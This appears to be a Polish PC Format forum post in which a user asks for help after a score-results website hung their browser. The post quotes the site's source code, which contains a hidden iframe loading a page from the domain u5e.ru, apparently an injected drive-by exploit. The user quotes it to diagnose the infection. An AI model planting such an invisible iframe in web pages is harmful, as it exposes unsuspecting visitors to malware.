Witamy na forum PC Format Zapraszamy do REJESTRACJI


Użytkownicy przeglądający ten wątek: 1 gości

Niebezpieczny exploit! Pomocy! [Logi+opis+lokalizacja+informacje]

#1
Exclamation  Niebezpieczny exploit! Pomocy! [Logi+opis+lokalizacja+informacje]
Witam.

1. Dzisiaj odwiedziłem przypadkowo strone live-score.pl i zauważyłem długi czas ładowania się jej. IE 8 się zawiesił, dysk jak oszalały przeprowadzał szybką wymianę danych i był bardzo obciążony. AVG w tym czasie był wyłączony. Avira niczego nie wykryła. Zresetowałem kompa i uruchomiłem LinkScannera - wykrył exploit pod tym adresem. Dokładniej chodzi o plik zawarty w kodzie źródłowym strony:

Kod:
<body><iframe src="http://u5e.ru:8080/index.php" width=145 height=132 style="visibility: hidden"></iframe>

2. Linkscanner po restarcie wykrył go jako:

[Obrazek: exploit.jpg]

Żałuje, że przy odwiedzaniu stronki za pierwszym razem miałem go wyłączonego. Skrypt pewnie wywołał spustoszenie w kompie.

3. Skanowałem kompa F-Secure BackLight i Avirą. Nie ma zagrożeń. Sprawdzałem też Process Explorerem i nie ma nic podejrzanego. Teraz jak skanuje już AVG LinkScannerem nie wykrywa nic. Komp od tej pory bardzo muli.

Zapoznajcie się z moimi logami logi


4. Artykuły na temat infekcji:
Sprawdziłem raporty dotyczące strony, na której był plik!

http://www.siteadvisor.com/sites/u5e.ru/...?p=1847669
http://www.malwareurl.com/listing.php?domain=u5e.ru

Okazuje się, że strona zawiera oprogramowanie szpiegowskie. Co robić? Sprawdźcie moje logi, które podałem. Co może zrobić taki exploit? Czy mogli ukraść mi pliki cookies po samym wejściu na taką stronę? IE 8 podobno jakoś chroni przed takimi atakami (nie wiem ile w tym prawdy). Czytałem dziś sporo o takich atakach i prawdopodobnie (choć nie jest powiedziane) mogę mieć już po hasłach, bo skrypt wysyła to wszystko na maila hakera... Niech ktoś to dokładnie zbada.

Więcej nie edytuje tego postu. Zebrałem wszystkie potrzebne informacje. Liczę na waszą pomoc.
 System operacyjny: windows_xp_2003 Przeglądarka: ie8
Programy: Polecane / Nowe / Inne



Użytkownicy forum szukali:
które strony zawierają exploit

Podobne wątki (Niebezpieczny exploit! Pomocy! [Logi+opis+lokalizacja+informacje])
Wątek: Autor Odpowiedzi: Wyświetleń: Ostatni post
  Niebezpieczny niebezpiecznik ptosz 4 7896 03.04.2019, 19:24
Ostatni post: ptrick
  Trojan w przeglądarce (logi) pomocy. Krashan88 2 6008 26.11.2017, 23:47
Ostatni post: Krashan88
  Ciągłe informacje o infekcji trojanów oraz niechciane reklamy Sandaly 1 1807 07.04.2014, 11:27
Ostatni post: broda99

Skocz do:


Wybrane wątki (Niebezpieczny exploit! Pomocy! [Logi+opis+lokalizacja+informacje])
Wątek: Autor Odpowiedzi: Wyświetleń: Ostatni post
  Windows XP - W32.jeffo czy da się uratować pliki PerterP 1 1864 25.07.2019 13:24
Ostatni post: morderca
Sad Wirus usuwa mi pliki kubamak290 2 2077 11.07.2019 02:10
Ostatni post: Illidan
  Adres WWW sam się zmienia i strona nie wyświetla się sewerynn 2 7293 02.07.2019 21:57
Ostatni post: Officer Crabtree
  Router sam wrócił do ustawień fabrycznych kameleon90 5 2222 02.07.2019 09:17
Ostatni post: standy-reklamowe
  Poważny problem - nie da się uruchomić plików .exe Morgoth77 19 26639 21.06.2019 14:15
Ostatni post: Antymateria
  Ruska strona automatycznie uruchamiana po starcie systemu bowglie98 2 2030 19.06.2019 10:54
Ostatni post: morderca
Scared Chrome wyskakujace reklamy - pomocy krzysiekszakal 10 17635 15.06.2019 10:07
Ostatni post: jou300
  niebezpieczne pliki PDF elakwiecinska 7 9137 08.06.2019 02:31
Ostatni post: Illidan
  Podejrzany plik DLL maze20lb 9 10492 26.05.2019 22:12
Ostatni post: morty
  Serwis a ochrona danych neah 6 8341 26.05.2019 11:42
Ostatni post: wlisik
  Włamanie (?) na FB, lajkowanie stron, dziwne cookies Jednaczuuu 5 7934 21.05.2019 17:12
Ostatni post: Jednaczuuu
  Dziwny folder w %appdata% brunojoker 1 7853 11.05.2019 18:17
Ostatni post: broda99
  Witam i proszę o sprawdzenie logów z hjakthis izydorber 6 7695 11.05.2019 16:20
Ostatni post: Officer Crabtree
  Problem z dllhost.exe McSamuraj 6 12143 19.04.2019 01:51
Ostatni post: gorm80
  samoczynne otwieranie się stron baro990 6 8310 14.04.2019 11:38
Ostatni post: baro990